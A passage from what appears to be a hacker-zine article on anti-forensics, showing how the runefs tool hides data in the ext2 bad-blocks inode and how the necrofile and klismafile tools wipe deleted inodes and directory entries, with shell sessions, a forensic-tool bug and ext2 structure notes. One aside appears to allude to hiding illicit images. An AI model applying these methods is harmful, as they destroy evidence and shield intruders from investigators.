forensics industry has had an easy time of late due to the near absense of anti-forensics information and tools, but that is (obviously) about to change. --[ 2 - Anti-Forensics In the previous section forensic analysis was outlined, and means of subverting the forensic process were hinted at, this section will expand on anti-forensic theory. Anti-forensics is the attempt to mitigate the quantity and quality of information that an investigator can examine. At each steps of the analysis, the forensics process is vulnerable to attack and subversion. This article focuses primarily on subverting the data gathering phase of a digital forensics investigation, with two mechanisms being detailed here: the first is data destruction, and the second data hiding. Some mention will also be given to exploiting vulnerabilities throughout the analytic process. The digital forensics process is extremely vulnerable to subversion when raw data (e.g. a bit copy of a file system) is converted into evidence (e.g. emails). This conversion process is vulnerable at almost every step, usually because of an abstraction that is performed on the data. When an abstraction layer is encountered, details are lost, and details *are* data. Abstractions remove data, and this creates gaps in the evidence which can be exploit. But abstractions are not the only source of error during a forensic analysis, the tools used are themselves frequently flawed and imperfect. Bugs in the implementations of forensic tools provide even greater oppurtunities for exploitation by anti-forensic agents. There is little that a remote anti-forensics agent can do to prevent the file system from being captured, and so focus has been given to exploiting the next phase of a forensic investigation -- preventing the evidence from being gathered off the file system. Halting data aquisition can be accomplished by either of two primary mechanisms: data destruction and data hiding. Of the two methods, data destruction is the most reliable, leaving nothing behind for the investigator to analyse. Data destruction provides a means of securely removing all trace of the existance of evidence, effectively covering tracks. Data hiding, on the other hand, is useful only so long as the analyst doesn't know where to look. Long term integrity of the data storage area cannot be garaunteed. For this reason, data hiding should be used in combination with attacks against the parsing phase (e.g. proprietary file formats), and against the examination phase (e.g. encryption). Data hiding is most useful in the case of essential data which must be stored for some length of time (e.g. photographs of young women in artistic poses). The two toolkits which accompany this article provide demonstration implementations of both data destruction, and data hiding methodologies. The toolkits will be used to provide examples when examining data destruction and hiding in greater detail below. The first anti-forensics methodology that will be examined in depth is data hiding. --[ 3 - Runefs The most common toolkit for Unix forensic file system analysis is "The Coronor's Toolkit"[1] (TCT) developed by Dan Farmer and Wietse Venema. Despite being relied on for years as the mainstay of the Unix digital forensic analyst, and providing the basis for several enhancements [2][3], it remains as flawed today as when it was first released. A major file system implementation bug allows an attacker to store arbitrary amounts of data in a location which the TCT tools cannot examine. The TCT implementations of the Berkley Fast File System (FFS or sometimes UFS), and the Second Extended File System (ext2fs), fail to correctly reproduce the file system specifications. TCT makes the incorrect assumption that no data blocks can be allocated to an inode before the root inode; failing to take into account the bad blocks inode. Historically, the bad blocks inode was used to reference data blocks occupying bad sectors of the hard disk, preventing these blocks from being used by live files. The FFS has deprecated the bad blocks inode, preventing the successful exploitation of this bug, but it is still in use on ext2fs. Successfully exploiting a file system data hiding attack means, for an anti-forensics agent, manipulating the file system without altering it outside of the specifications implemented in the file system checker: fsck. Although, it is interesting to note that no forensic analysis methodology uses fsck to ensure that the file system has not been radically altered. The ext2fs fsck still uses the bad blocks inode for bad block referencing, and so it allows any number of blocks to be allocated to the inode. Unfortunately, the TCT file system code does not recognise the bad blocks inode as within the scope of an investigation. The bad blocks inode bug is easy to spot, and should be trivial to correct. Scattered throughout the file system code of the TCT package (and the related toolkit TASK) is the following errorneous check: /* * Sanity check. */ if (inum < EXT2_ROOT_INO || inum > ext2fs->fs.s_inodes_count) error("invalid inode number: %lu", (ULONG) inum); The first inode that can allocate block resources on a ext2 file system is in fact the bad blocks inode (inode 1) -- *not* the root inode (inode 2). Because of this mis-implementation of the ext2fs it is possible to store data on blocks allocated to the bad blocks inode and have it hidden from an analyst using TCT or TASK. To illustrate the severity of this attack the following examples demonstrate using the accompanying runefs toolkit to: create hidden storage space; copy data to and from this area, and show how this area remains secure from a forensic analyst. ----[ 3.1 - Example: Creating hidden space # df -k /dev/hda6 Filesystem 1k-blocks Used Available Use% Mounted on /dev/hda6 1011928 20 960504 1% /mnt # ./bin/mkrune -v /dev/hda6 +++ bb_blk +++ bb_blk->start = 33275 bb_blk->end = 65535 bb_blk->group = 1 bb_blk->size = 32261 +++ rune size: 126M # df -k /dev/hda6 Filesystem 1k-blocks Used Available Use% Mounted on /dev/hda6 1011928 129196 831328 14% /mnt # e2fsck -f /dev/hda6 e2fsck 1.26 (3-Feb-2002) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/hda6: 11/128768 files (0.0% non-contiguous), 36349/257032 blocks # This first example demonstrates the allocation of 126 megabytes of disk space for the hidden storage area, showing how this loss of available disk space is registered by the kernel. It is also evident that the hidden storage area does not break the specifications of the ext2 file system -- fsck has no complaints. ----[ 3.2 - Example: Using the hidden space # cat readme.tools | ./bin/runewr /dev/hda6 # ./bin/runerd /dev/hda6 > f # diff f readme.tools # This second example shows how data can be inserted and extracted from the hidden storage space without any data loss. While this example does not comprehensively explore the uses of a hidden data storage area, it is sufficient to demonstrate how data can be introduced to and extracted from the runefs. ----[ 3.3 - Example: TCT incorrect ext2fs implementation # ./icat /dev/hda6 1 /icat: invalid inode number: 1 # This last example illustrates how the forensic analyst is incapable of finding this storage area with the TCT tools. Clearly, there are many problems raised when the file system being examined has not been correctly implemented in the tools used. Interesting as these examples are, there are problems with this runefs. This implementation of runefs is crude and old (it was written in November 2000), and it does not natively support encryption. The current version of runefs is a dynamicly resizeable file system which supports a full directory structure, is fully encrypted, and can grow up to four gigabytes in size (it is private, and not will be made available to the public). The final problem with this runefs in particular, and the private implementation as well, is that the bad blocks data hiding technique is now public knowledge (quite obviously). This highlights the problem with data hiding techniques, they become out dated. For this reason data hiding should always be used in conjunction with at least one other anti-forensics technology, such as encryption. There are more ways of securely storing data on the file system far from the prying eyes of the forensic analyst, and a research paper is due shortly that will detail many of them. However, this is the last this article will mention on data hiding, now the focus shifts to data destruction. --[ 4 - The Defiler's Toolkit The file system (supposedly) contains a record of file I/O activity on a computer and forensic analysts attempt to extract this record for examination. Aside from their forensic tools incorrectly reporting on the data, these tools are useless if the data is not there to be reported on. This section will present methodologies for thoroughly eradicating evidence on a file system. These methodologies have been implemented in The Defiler's Toolkit (TDT) which accompanies this article. The major vulnerablity with data aquisition is that the evidence being gathered must be there when the forensic analyst begins his investigation. Non-existant data, obviously, cannot be gathered, and without this crucial information the forensic analyst is incapable of progressing the investigation. File system sanitization is the anti-forensic strategy of removing this data (evidence), and doing so in such a way so as to leave no trace that evidence ever existed (i.e. leave no "evidence of erasure"). The Defiler's Toolkit provides tools to remove data from the file system with surgical precision. By selectively eradicating the data which might become evidence, the anti-forensics agent is able to subvert the entire forensics process before it is even begun. Within a Unix file system all of the following places will contain traces of the existence of a file -- they contain evidence: * inodes * directory entries * data blocks Unfortunately, most secure deletion tools will only remove evidence from data blocks, leaving inodes and directory entries untouched. Included with this article is an example implementation of an anti-forensic toolkit which performs complete file system sanitization. The Defiler's Toolkit provides two tools, necrofile and klismafile, which, combined, securely eliminate all trace of a file's existance. The Defiler's Toolkit consists of two complimentary tools, necrofile and klismafile. Their design goals and implementation are described here. ----[ 4.1 - Necrofile Necrofile is a sophisicated dirty inode selection and eradication tool. It can be used to list all dirty inodes meeting certain deletion time criteria, and then scrub those inodes clean. These clean inodes provide no evidence for the forensic analyst investigating the file system contained on that disk. Necrofile has some built in capabilities to securely delete all content on the data blocks referenced by the dirty inode. However, this is not the ideal use of the tool because of the race conditions which afflict all tools handling file system resources without the blessing of the kernel. When necrofile is invoked, it is supplied with a file system to search, and a number of criteria be used to determine whether a given dirty inode should be scrubbed clean. As necrofile iterates through the inode table, it check the state of each inode, with dirty inodes being given extra attention. All dirty inodes that meet the time criteria are written back to the inode table as virgin inodes, and the iteration continues. ------[ 4.1.1 - Example: TCT locates deleted inodes # ./ils /dev/hda6 class|host|device|start_time ils|XXX|/dev/hda6|1026771982 st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\ st_nlink|st_size|st_block0|st_block1 12|f|0|0|1026771841|1026771796|1026771958|1026771958|100644|0|86|545|0 13|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|546|0 14|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|547|0 15|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|548|0 16|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|549|0 17|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|550|0 18|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|551|0 19|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|552|0 20|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|553|0 21|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|554|0 22|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|555|0 23|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|556|0 24|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|557|0 25|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|558|0 26|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|559|0 27|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|560|0 28|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|561|0 29|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|562|0 30|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|563|0 31|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|564|0 32|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|565|0 33|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|566|0 34|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|567|0 35|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|568|0 36|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|569|0 37|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|570|0 # ------[ 4.1.2 - Example: necrofile locates and eradicates deleted inodes # ./necrofile -v -v -v -v /dev/hda6 Scrubbing device: /dev/hda6 12 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 13 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 14 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 15 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 16 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 17 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 18 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 19 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 20 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 21 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 22 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 23 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 24 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 25 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 26 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 27 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 28 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 29 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 30 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 31 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 32 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 33 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 34 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 35 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 36 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 37 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f # ------[ 4.1.3 - Example: TCT unable to locate non-existant data # ./ils /dev/hda6 class|host|device|start_time ils|XXX|/dev/hda6|1026772140 st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\ st_nlink|st_size|st_block0|st_block1 # Little explanation is necessary with these examples. The "ils" tool is part of TCT and lists deleted inodes for potential recovery. The necrofile tool is being run in its most verbose form, as it locates and overwrites the same inodes found by ils. Necrofile is more effective, however, when used to target inodes deleted during specific time slices, leaving all other deleted inodes untouched. This tactic eliminates evidence of erasure, i.e. indications that evidence has been removed. After the deleted inodes have been converted into virgin inodes, ils is justifiably incapable of finding them. After removing the inodes which contain valuable forensic data, the other location which needs to be sanitized is the directory entries. ----[ 4.2 - Klismafile Klismafile provides a means of securely overwriting deleted directory entries. When a file name/inode link is terminated, the content of the directory entry is not overwritten; simply included in the slack space of the preceeding entry. Klismafile will search a directory file for these "deleted" entries, and overwrite them. Regular expressions can be used to limit the number of directory entries removed. When klismafile is invoked, it is provided with a directory file to search, and can optionally recurse through all other directory files it encounters. Klismafile will iterate through the directory entries, and search for dirents which have been deleted. When it encounters a deleted dirent, klismafile will compare the 'file_name' against any regular expressions provided by the invoker (the default is '*'). If there is a match, klismafile will overwrite the dirent with zeroes. Klismafile is not a completely secure solution. A skilled forensic analyst will note that the preceeding directory entry's rec_len field is larger than it should be, and could infer than a tool such as klismafile has artificially manipulated the directory file's contents. Currently, there are no tools which perform this check, however that will no doubt change soon. ------[ 4.2.1 - Example: fls listing deleted directory entries # ./fls -d /dev/hda6 2 ? * 0: a ? * 0: b ? * 0: c ? * 0: d ? * 0: e ? * 0: f ? * 0: g ? * 0: h ? * 0: i ? * 0: j ? * 0: k ? * 0: l ? * 0: m ? * 0: n ? * 0: o ? * 0: p ? * 0: q ? * 0: r ? * 0: s ? * 0: t ? * 0: u ? * 0: v ? * 0: w ? * 0: x ? * 0: y ? * 0: z # ------[ 4.2.2 - Example: Klismafile cleaning deleted directory entries # ./klismafile -v /mnt Scrubbing device: /dev/hda6 cleansing / -> a -> b -> c -> d -> e -> f -> g -> h -> i -> j -> k -> l -> m -> n -> o -> p -> q -> r -> s -> t -> u -> v -> w -> x -> y -> z Total files found: 29 Directories checked: 1 Dirents removed : 26 # ------[ 4.2.3 - Example: fls unable to find non-existant data # ./fls -d /dev/hda6 2 # These examples speak for themselves. The 'fls' utility is part of the TCT-UTILS package, and is intended to examine directory files. In this case, it is listing all deleted directory entries in the root directory of the file system. Klismafile is then run in verbose mode, listing and overwriting each directory entry it encounters. After klismafile, fls is incapable of noting that anything is amiss within the directory file. Note: The linux 2.4 kernel caches directories in kernel memory, rather than immediately updating the file system on disk. Because of this, the directory file that klismafile examines and attempts to clean might not be current, or the changes made might get overwritten by the kernel. Usually, performing disk activity in another directory will flush the cache, allowing kilsmafile to work optimally. The Defiler's Toolkit has been written as a proof of concept utility to demonstrate the inherent flaws with all current digital forensic methodologies and techniques. The toolkit successfully accomplishes the goals for which it was designed; proving that forensic analysis after an intrusion is highly suspect without significant prior preparation of the targeted computers. --[ 5 - Conclusion Digital forensic tools are buggy, error prone and inherently flawed. Despite these short comings they are being relied on more and more frequently to investigate computer break-ins. Given that this fundamentally broken software plays such a key role in incident response, it is somewhat surprising that no-one has documented anti-forensic techniques, nor sort to develop counter-measures (anti-anti-forensics). Some suggestions regarding anti-anti-forensics methodology are presented here, to provide the security community a foothold in the struggle against anti-forensics. The Defilers Toolkit directly modifies the file system to eliminate evidence inserted by the operating system during run time. The way to defeat the defiler's toolkit is to not rely on the local file system as the only record of disk operations. For instance, make a duplicate record of the file system modifications and store this record in a secure place. The simplest solution would be to have all inode updates be written to a log file located on a seperate box. A trivial addition to the kernel vfs layer, and a syslog server would be more than adequate for a first generation anti-anti-fornesics tool. The only means of effectively counteracting an anti-forensics attack is to prepare for such an eventuality prior to an incident. However, without the tools to make such preparation effective, the computing public is left vulnerable to attackers whose anonymity is assured. This article is intended as a goad to prod the security industry into developing effective tools. Hopefully the next generation of digital forensic investigating tookits will give the defenders something reliable with which to effectively combat the attackers. --[ 6 - Greets Shout outs to my homies! East Side: stealth, scut, silvio, skyper, smiler, halvar, acpizer, gera West Side: blaadd, pug, srk, phuggins, fooboo, will, joe Up Town: mammon_, a_p, _dose Down Town: Grendel, PhD. --[ 7 - References: [1] Dan Farmer, Wietse Venema "TCT" www.fish.com/security [2] Brian Carrier "TCTUTILS" www.cerias.purdue.edu/homes/carrier/forensics [3] Brian Carrier "TASK" www.cerias.purdue.edu/homes/carrier/forensics [4] Theodore T'so "e2fsprogs" e2fsprogs.sourceforge.net --[ 8 - APPENDIX A ----[ 8.1 - Ext2fs In the honored phrack tradition of commented header files, here is a guide to the second extended file system. The second extended file system (ext2fs) is the standard file system on the Linux OS. This paper will provide an introduction to the file system. Reading this document is no substitute for reading the src, both in the kernel and in the ext2fs library. What follows is a bottom up description of the ext2 file system; starting with blocks and inodes and concluding, ultimately, with directories. . o O ( B L O C K S ) O o . The basic component of the file system is the data block, used to store file content. Typically, the smallest addressable unit on a hard disk is a sector (512 bytes), but this is too small for decent I/O rates. To increase performance multiple sectors are clustered together and treated as one unit: the data block. The typical block size on an ext2fs system is 4096 bytes; however, it can be 2048 bytes or even as small as 1024 (8, 4 and 2 sectors, respectively). . o O ( I N O D E S ) O o . The second core part of the file system, the inode, is the heart of the Unix file system. It contains the meta-data about each file including: pointers to the data blocks, file permissions, size, owner, group and other vital peices of information. The format of an ext2 inode is as follows: --------------------------------------------------------------------------- struct ext2_inode { __u16 i_mode; /* File mode */ __u16 i_uid; /* Owner Uid */ __u32 i_size; /* Size in bytes */ __u32 i_atime; /* Access time */ __u32 i_ctime; /* Creation time */ __u32 i_mtime; /* Modification time */ __u32 i_dtime; /* Deletion Time */ __u16 i_gid; /* Group Id */ __u16 i_links_count; /* Links count */ __u32 i_blocks; /* Blocks count */ __u32 i_flags; /* File flags */ union { struct { __u32 l_i_reserved1; } linux1; struct { __u32 h_i_translator; } hurd1; struct { __u32 m_i_reserved1; } masix1; } osd1; /* OS dependent 1 */ __u32 i_block[EXT2_N_BLOCKS];/* Pointers to blocks */ __u32 i_version; /* File version (for NFS) */ __u32 i_file_acl; /* File ACL */ __u32 i_dir_acl; /* Directory ACL */ __u32 i_faddr; /* Fragment address */ union { struct { __u8 l_i_frag; /* Fragment number */ __u8 l_i_fsize; /* Fragment size */ __u16 i_pad1; __u32 l_i_reserved2[2]; } linux2; struct { __u8 h_i_frag; /* Fragment number */ __u8 h_i_fsize; /* Fragment size */ __u16 h_i_mode_high; __u16 h_i_uid_high; __u16 h_i_gid_high; __u32 h_i_author; } hurd2; struct { __u8 m_i_frag; /* Fragment number */ __u8 m_i_fsize; /* Fragment size */ __u16 m_pad1; __u32 m_i_reserved2[2]; } masix2; } osd2; /* OS dependent 2 */ }; --------------------------------------------------------------------------- The two unions exist because the ext2fs is intended to be used on several operating systems that provide slightly differing features in their implementations. Aside from exceptional cases, the only elements of the unions that matter are the Linux structs: linux1 and linux2. These can simply be treated as padding as their contents are ignored in current implementations of ext2fs. The usage of the rest of the inode's values are described below. * i_mode The mode of the file, this is the usual octal permissions that Unix users should be familiar with. * i_uid The UID of the owner of the file. * i_size The size of the file, in bytes. Clearly the maximum size is 4G, as size is an unsigned 32bit integer. Support for 64bit file sizes had been hacked in with the following define supplying the high 32bits: #define i_size_high i_dir_acl * i_atime The last time the file was accessed. All times are stored in usual Unix manner: seconds since the epoch. * i_ctime The creation time of the file. * i_mtime The last time the file was modified. * i_dtime The deletion time of the file. If the file is still live then the time will be 0x00000000. * i_gid The GID of the file. * i_links_count The number of times that the file is referenced in the high level file system. That is, each hard link to the file increments this count. When the last link to the file is removed from the FS, and the links count reaches 0, the file is deleted. The blocks referenced by the inode are marked as free in the bitmap. * i_blocks The number of blocks referenced by the inode. This is count doesn't include the indirect blocks, only blocks that contain actual file content. * i_flags The extended attributes of the ext2fs are accomplished with this value. The valid flags are any combination of the following: --------------------------------------------------------------------------- #define EXT2_SECRM_FL 0x00000001 /* Secure deletion */ #define EXT2_UNRM_FL 0x00000002 /* Undelete */ #define EXT2_COMPR_FL 0x00000004 /* Compress file */ #define EXT2_SYNC_FL 0x00000008 /* Synchronous updates */ #define EXT2_IMMUTABLE_FL 0x00000010 /* Immutable file */ #define EXT2_APPEND_FL 0x00000020 /* append only */ #define EXT2_NODUMP_FL 0x00000040 /* do not dump file */ #define EXT2_NOATIME_FL 0x00000080 /* do not update atime */ /* Reserved for compression usage... */ #define EXT2_DIRTY_FL 0x00000100 #define EXT2_COMPRBLK_FL 0x00000200 /* compressed clusters */ #define EXT2_NOCOMP_FL 0x00000400 /* Don't compress */ #define EXT2_ECOMPR_FL 0x00000800 /* Compression error */ /* End compression flags --- maybe not all used */ #define EXT2_BTREE_FL 0x00001000 /* btree format dir */ #define EXT2_RESERVED_FL 0x80000000 /* reserved for ext2 lib */ --------------------------------------------------------------------------- * i_block[] The block pointers. There are 15 array elements, the first 12 elements are direct blocks pointers; their blocks contain actual file content. The 13th element points to a block that acts as an extension of the array. This block is an indirect block, and the pointers it contains point to additional direct blocks. The 14th element points to a block containing an array of block pointers to indirect blocks. This element is the doubly indirect block. The last element is the trebly indirect block. This block contains pointers to doubly indirect blocks. --------------------------------------------------------------------------- #define EXT2_NDIR_BLOCKS 12 #define EXT2_IND_BLOCK EXT2_NDIR_BLOCKS #define EXT2_DIND_BLOCK (EXT2_IND_BLOCK + 1) #define EXT2_TIND_BLOCK (EXT2_DIND_BLOCK + 1) #define EXT2_N_BLOCKS (EXT2_TIND_BLOCK + 1) --------------------------------------------------------------------------- * i_version The file version. Doesn't appear to be used. * i_file_acl A pointer to an ACL list. This is not used on ext2, as there are no ACLs implemented for this version of the file system. * i_dir_acl A pointer to an ACL list. This is not used on ext2 as an ACL pointer, but rather as the value: [ i_size_high ]. This is an additional 32bits of file size, allowing the file size to be treated as a 64bit unsigned intetger. This is not generally used on ext2fs. * i_faddr The fragment address. Fragments are not used on the ext2fs; therefore, this value is always 0. Certain inodes have special significance within the file system. --------------------------------------------------------------------------- #define EXT2_BAD_INO 1 /* Bad blocks inode */ #define EXT2_ROOT_INO 2 /* Root inode */ #define EXT2_ACL_IDX_INO 3 /* ACL inode */ #define EXT2_ACL_DATA_INO 4 /* ACL inode */ #define EXT2_BOOT_LOADER_INO 5 /* Boot loader inode */ #define EXT2_UNDEL_DIR_INO 6 /* Undelete directory inode */ --------------------------------------------------------------------------- The bad blocks inode contains block pointers to data blocks that occupy bad sectors of the hard disk. The root inode is the root directory that contains the head of the file system tree. The other inodes are not typically used on production systems. The first inode used for user files is inode 11. This inode is the directory "lost+found", created by the tool mkfs. . o O ( S U P E R B L O C K ) O o . The super block is the most basic means that the kernel has of determining the status of the file system. It indicates the number of inodes, blocks, and groups, in addition to various other pieces of information. The elements within the super block structure change more rapidly than the inode or group data. This is because libext2fs adds features to the ext2fs which might not be implemented in the kernel. The format we examine is from e2fsprogs-1.19. The super block is 1024 bytes in size, and offset 1024 bytes from the start of the partition. The format of the super block is as follows: --------------------------------------------------------------------------- struct ext2fs_sb { __u32 s_inodes_count; /* Inodes count */ __u32 s_blocks_count; /* Blocks count */ __u32 s_r_blocks_count; /* Reserved blocks count */ __u32 s_free_blocks_count; /* Free blocks count */ __u32 s_free_inodes_count; /* Free inodes count */ __u32 s_first_data_block; /* First Data Block */ __u32 s_log_block_size; /* Block size */ __s32 s_log_frag_size; /* Fragment size */ __u32 s_blocks_per_group; /* # Blocks per group */ __u32 s_frags_per_group; /* # Fragments per group */ __u32 s_inodes_per_group; /* # Inodes per group */ __u32 s_mtime; /* Mount time */ __u32 s_wtime; /* Write time */ __u16 s_mnt_count; /* Mount count */ __s16 s_max_mnt_count; /* Maximal mount count */ __u16 s_magic; /* Magic signature */ __u16 s_state; /* File system state */ __u16 s_errors; /* Behaviour when detecting errors */ __u16 s_minor_rev_level; /* minor revision level */ __u32 s_lastcheck; /* time of last check */ __u32 s_checkinterval; /* max. time between checks */ __u32 s_creator_os; /* OS */ __u32 s_rev_level; /* Revision level */ __u16 s_def_resuid; /* Default uid for reserved blocks */ __u16 s_def_resgid; /* Default gid for reserved blocks */ /* * These fields are for EXT2_DYNAMIC_REV superblocks only. * * Note: the difference between the compatible feature set and * the incompatible feature set is that if there is a bit set * in the incompatible feature set that the kernel doesn't * know about, it should refuse to mount the filesystem. * * e2fsck's requirements are more strict; if it doesn't know * about a feature in either the compatible or incompatible * feature set, it must abort and not try to meddle with * things it doesn't understand... */ __u32 s_first_ino; /* First non-reserved inode */ __u16 s_inode_size; /* size of inode structure */ __u16 s_block_group_nr; /* block group # of this superblock */ __u32 s_feature_compat; /* compatible feature set */ __u32 s_feature_incompat; /* incompatible feature set */ __u32 s_feature_ro_compat; /* readonly-compatible feature set */ __u8 s_uuid[16]; /* 128-bit uuid for volume */ char s_volume_name[16]; /* volume name */ char s_last_mounted[64]; /* directory where last mounted */ __u32 s_algorithm_usage_bitmap; /* For compression */ /* * Performance hints. Directory preallocation should only * happen if the EXT2_FEATURE_COMPAT_DIR_PREALLOC flag is on. */ __u8 s_prealloc_blocks; /* Nr of blocks to try to preallocate*/ __u8 s_prealloc_dir_blocks; /* Nr to preallocate for dirs */ __u16 s_padding1; /* * Journaling support. */ __u8 s_journal_uuid[16]; /* uuid of journal superblock */ __u32 s_journal_inum; /* inode number of journal file */ __u32 s_journal_dev; /* device number of journal file */ __u32 s_last_orphan; /* start of list of inodes to delete */ __u32 s_reserved[197]; /* Padding to the end of the block */ }; --------------------------------------------------------------------------- * s_inodes_count The total number of inodes within the file system. * s_blocks_count The total number of blocks within the file system. * s_r_blocks_count The number of blocks reserved for the super user. If the FS becomes too full, these last reserved blocks will prevent users from making the FS unusable. * s_free_blocks_count The number of unused blocks. This value is constantly updated as blocks are freed or allocated. * s_free_inodes_count The number of unused inodes. This value is constantly updates as inodes are freed or allocated. * s_first_data_block A pointer to the first data block, after all the blocks used to store inode tables, bitmaps and groups. This value is either 0, or the correct value. * s_log_block_size The size of a block. This value is stored as a shift value. The number to be shifted is 1024; therefore, to retrive the actual block size use: bs = 1024 << sb.s_log_block_size; * s_log_frag_size The size of a fragment. This value is stored as a shift value. Fragments are not used on the ext2fs; therefore, this value is ignored. * s_blocks_per_group The number of blocks in a group. * s_frags_per_group The number of fragments in a group. * s_inodes_per_group The number of inodes in a group. * s_mtime The last time the file system was mounted. All time values are stored as seconds since the epoch. * s_wtime The last time the file system was written. * s_mnt_count The number of times the file system has been mounted. * s_max_mnt_count The maximum number of times the file system can be mounted before it needs to be fsck'd. The default value is 20. * s_magic The magic number of the file system: 0xEF53. * s_state The state of the file system: either clean, or dirty. The flags are as follows: --------------------------------------------------------------------------- #define EXT2_VALID_FS 0x0001 /* Unmounted cleanly */ #define EXT2_ERROR_FS 0x0002 /* Errors detected */ --------------------------------------------------------------------------- * s_errors The response to take when an error is encountered. The following are valid values: --------------------------------------------------------------------------- #define EXT2_ERRORS_CONTINUE 1 /* Continue execution */ #define EXT2_ERRORS_RO 2 /* Remount fs read-only */ #define EXT2_ERRORS_PANIC 3 /* Panic */ #define EXT2_ERRORS_DEFAULT EXT2_ERRORS_CONTINUE --------------------------------------------------------------------------- * s_minor_rev_level The minor number of the ext2fs revision. This value can be safely ignored. * s_lastcheck The last time the file system was fsck'd, stored in typical Unix sec's since epoch format. * s_checkinterval The maximum amount of time that can elapse between fsckings. The file system needs to fscked if either this value is exceeded, or s_max_mnt_count. * s_creator_os The OS that created this file system. Valid values are as follows: --------------------------------------------------------------------------- #define EXT2_OS_LINUX 0 #define EXT2_OS_HURD 1 #define EXT2_OS_MASIX 2 #define EXT2_OS_FREEBSD 3 #define EXT2_OS_LITES 4 --------------------------------------------------------------------------- * s_rev_level The revision of the file system. The only difference in values deals with inode sizes. The current version uses a fixed inode size of 128 bytes. The following are valid values: --------------------------------------------------------------------------- #define EXT2_GOOD_OLD_REV 0 /* The good old (original) format */ #define EXT2_DYNAMIC_REV 1 /* V2 format w/ dynamic inode sizes */ #define EXT2_CURRENT_REV EXT2_GOOD_OLD_REV --------------------------------------------------------------------------- * s_def_resuid Default UID for reserved blocks. The default is 0. * s_def_resgid Default GID for reserved blocks. The default is 0. * s_first_ino The first non reserved inode. Inodes < 10 are reserved, so the first valid inode number is 11. This inode is almost always the file "lost+found". * s_inode_size The size of an inode. The size is 128 bytes for current ext2fs implementations. * s_block_group_nr The block group that this super block is stored in. * s_feature_compat Flags of features that this ext2fs supports. Valid features are the following: --------------------------------------------------------------------------- #define EXT2_FEATURE_COMPAT_DIR_PREALLOC 0x0001 --------------------------------------------------------------------------- * s_feature_incompat Flags of features that this ext2fs doesnt' support. Valid incompatabilities are the following: --------------------------------------------------------------------------- #define EXT2_FEATURE_INCOMPAT_COMPRESSION 0x0001 #define EXT2_FEATURE_INCOMPAT_FILETYPE 0x0002 --------------------------------------------------------------------------- * s_feature_ro_compat Flags of features that this ext2fs supports as read only. Valid features are as follows: --------------------------------------------------------------------------- #define EXT2_FEATURE_RO_COMPAT_SPARSE_SUPER 0x0001 #define EXT2_FEATURE_RO_COMPAT_LARGE_FILE 0x0002 #define EXT2_FEATURE_RO_COMPAT_BTREE_DIR 0x0004 